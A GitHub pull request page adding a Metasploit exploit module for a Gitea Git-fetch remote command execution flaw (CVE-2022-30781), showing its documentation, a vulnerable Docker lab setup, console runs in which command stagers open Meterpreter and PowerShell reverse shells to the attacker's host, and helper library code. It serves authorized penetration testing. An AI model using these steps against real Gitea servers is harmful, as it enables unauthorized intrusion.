Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Gitea Git fetch RCE module - CVE-2022-30781 #17021

Merged
merged 31 commits into from
Nov 17, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
31 commits
Select commit Hold shift + click to select a range
60569b8
Add Gitea Git fetch RCE module - CVE-2022-30781
krastanoel Sep 15, 2022
e1284ea
handle get_csrf check caller separately
krastanoel Sep 30, 2022
7e46ba4
use fail with instead checkcode
krastanoel Sep 30, 2022
36f3a7c
update options description
krastanoel Sep 30, 2022
cbff639
Move version check and login to common library
krastanoel Sep 30, 2022
381bdba
Update module
krastanoel Sep 30, 2022
953221d
Handle datastore username empty string
krastanoel Sep 30, 2022
88e4261
Add common lib for Gitea repository
krastanoel Sep 30, 2022
c5d3867
add migration error class
krastanoel Sep 30, 2022
29944a0
add repository create and migrate url
krastanoel Sep 30, 2022
cc2db82
add repository create and migrate helpers
krastanoel Sep 30, 2022
2331f21
Update module
krastanoel Sep 30, 2022
046bb35
adjust uripath
krastanoel Oct 1, 2022
15c956c
Update module
krastanoel Oct 1, 2022
e9d8068
update and tidy the lib comments
krastanoel Oct 1, 2022
02b5f86
add repository error class
krastanoel Oct 1, 2022
e3fc354
still could not yet support windows
krastanoel Oct 1, 2022
aa0dc86
get csrf from the html body instead
krastanoel Oct 1, 2022
bd15798
support windows platform
krastanoel Oct 3, 2022
95503be
Update documentation
krastanoel Oct 3, 2022
5409848
Apply suggestions from code review
krastanoel Nov 8, 2022
f0b67c8
fix msftidy
krastanoel Nov 8, 2022
c980f4f
add more custom error exception
krastanoel Nov 8, 2022
52d867b
follow Ruby coding convetions
krastanoel Nov 8, 2022
a50cca2
remove cookie_jar manipulation
krastanoel Nov 8, 2022
bca5138
Update module
krastanoel Nov 8, 2022
13bb31f
Update module
krastanoel Nov 8, 2022
639afeb
Update module
krastanoel Nov 9, 2022
645a1c2
Update method documentation and indentation
krastanoel Nov 9, 2022
cbca2a5
Update modules/exploits/multi/http/gitea_git_fetch_rce.rb
krastanoel Nov 15, 2022
1ddc137
Update module
krastanoel Nov 15, 2022
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
229 changes: 229 additions & 0 deletions documentation/modules/exploit/multi/http/gitea_git_fetch_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,229 @@
## Vulnerable Application

[Gitea](https://gitea.io/) is a painless self-hosted Git service community
managed lightweight code hosting solution written in Go.

This module has been tested successfully on Gitea versions:
* 1.16.6 with Git 2.30.3 (Docker)
* 1.16.6 with Git 2.30.2 (Windows 10)

### Description

This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.

The migration process require valid Git repository address so the module will
use the Gitea target itself by creating a temporary repository. This scenario
won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini)
because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when
[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289)
is set, but it must be set to all domain with `*` for this scenario to work.

There is an update in the Git-remote command line starting from version 2.34.0
which refuses to update the branch pull request URL to the current path.

```
\testrepo.git>git version
git version 2.34.0.windows.1
\testrepo.git>git remote add -f master ./
Updating master
fatal: bad object refs/pull/0/head
error: ./ did not send all necessary objects

error: Could not fetch master
```
This causes the exploit to fail because Git-fetch will not executed if the
Git-remote fail. Details of these limitation are explained
[here](https://tttang.com/archive/1607/)

### Source and Installers

* [Source Code Repository](https://github.com/go-gitea/gitea/)
* [Installers](https://dl.gitea.io/gitea/1.16.6)
* [Docker](https://docs.gitea.io/en-us/install-with-docker/)

### Docker installation
1. create `docker-compose.yml` file
```
version: "3"

networks:
gitea:
external: false

services:
server:
image: gitea/gitea:1.16.6
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
networks:
- gitea
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
ports:
- "3000:3000"
- "222:22"
```
2. run `docker-compose up`
3. append `ALLOW_LOCALNETWORKS` in the configuration file.
```
:~$ cat << EOF >> gitea/gitea/conf/app.ini
> [migrations]
> ALLOW_LOCALNETWORKS = true
> EOF
```
4. Navigate to the localhost port 3000 and finish the installation. Note that
the first registered user will automatically become administrator so make
sure to set the administrator username and password upon installation.

## Verification Steps

1. Navigate to `/user/sign_up` and register normal user
2. Do: `use unix/webapp/gitea_git_fetch_rce`
3. Do: `set RHOSTS [ips]`
4. Do: `set LHOST [lhost]`
5. Do: `set USERNAME [username]`
6. Do: `set PASSWORD [password]`
7. Do: `run`
8. You should get a shell.

## Options

### USERNAME
The Gitea valid username to authenticate

### USERNAME
The Gitea valid password to authenticate

### HTTPDELAY
Number of seconds the web server will wait to deliver payload (default: 12)

## Scenarios
### Successful exploitation of Gitea 1.16.6 on Docker

```
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf
username => msf
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
password => qwerty
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/topics
[*] Creating repository "u8W2Lu24p"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgAB..."]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAA...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Migrating repository
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:60744) at 2022-10-03 18:40:15 +0700
[*] Server stopped.

meterpreter > getuid
Server username: git
```

### Successful exploitation of Gitea 1.16.6 on Windows 10

```
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2
target => 2
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21
rhosts => 192.168.0.21
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104
lhost => 192.168.0.104
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username yo
username => yo
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password password
password => password
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/pulls
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/topics
[*] Creating repository "ExcLF0xBxG"
[+] Repository created
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([...
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
[*] Server stopped.

PS C:\Users\msf\Downloads\data\gitea-repositories\yo\gu5em72atm5.git> whoami
msf
```

### Failed exploitation due to migration settings

```
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf
username => msf
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
password => qwerty
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_fetch_rce) > run

[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/topics
[*] Creating repository "P7EpcvA"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAA..."]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAAB...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Migrating repository
[*] Server stopped.
[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo:
You can not import from disallowed hosts, please ask the admin to check
ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings.
[*] Exploit completed, but no session was created.
```
37 changes: 37 additions & 0 deletions lib/msf/core/exploit/remote/http/gitea.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# -*- coding: binary -*-

module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with gitea installations
module Gitea
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Gitea::Base
include Msf::Exploit::Remote::HTTP::Gitea::Version
include Msf::Exploit::Remote::HTTP::Gitea::Helpers
include Msf::Exploit::Remote::HTTP::Gitea::Login
include Msf::Exploit::Remote::HTTP::Gitea::Error
include Msf::Exploit::Remote::HTTP::Gitea::URIs
include Msf::Exploit::Remote::HTTP::Gitea::Repository

def initialize(info = {})
super

register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the gitea application', '/'])
], Msf::Exploit::Remote::HTTP::Gitea
)

register_advanced_options(
[
Msf::OptBool.new('GITEACHECK', [true, 'Check if the website is a valid Gitea install', true]),
], Msf::Exploit::Remote::HTTP::Gitea
)
end
end
end
end
end
end
36 changes: 36 additions & 0 deletions lib/msf/core/exploit/remote/http/gitea/base.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
# -*- coding: binary -*-

module Msf::Exploit::Remote::HTTP::Gitea::Base
# Checks if the site is online and running gitea
#
# @return [String,nil] if the site is online and running gitea, nil or raise
# UnknownError, VersionError and ::Rex exceptions otherwise
def get_gitea_version
unless datastore['GITEACHECK']
vprint_status 'Skipping Gitea check...'
return true
end

gitea_detect_regexes = [
/i_like_gitea=\w+/,
]

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Check TARGETURI - Unexpected HTTP response code') if res&.code != 200

if gitea_detect_regexes.none? { |r| res.get_cookies =~ r }
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('No web server or gitea instance found')
end

version = gitea_version(res)
raise Msf::Exploit::Remote::HTTP::Gitea::Error::VersionError.new unless version
version

rescue ::Rex::ConnectionError, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
raise Msf::Exploit::Remote::HTTP::Gitea::Error::UnknownError.new('Could not connect to the web service')
end
end
45 changes: 45 additions & 0 deletions lib/msf/core/exploit/remote/http/gitea/error.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
# -*- coding: binary -*-

module Msf::Exploit::Remote::HTTP::Gitea::Error
class WebError < ::StandardError
def initialize(message: nil)
super(message || 'Gitea WebError')
end
end

class CsrfError < WebError
def initialize
super(message: 'Unable to get CSRF token')
end
end

class AuthenticationError < WebError
def initialize
super(message: 'Authentication failed')
end
end

class MigrationError < WebError
def initialize(message)
super(message: message)
end
end

class RepositoryError < WebError
def initialize(message)
super(message: message)
end
end

class UnknownError < WebError
def initialize(message)
super(message: message)
end
end

class VersionError < WebError
def initialize
super(message: 'Unable to determine Gitea version')
end
end
end
Loading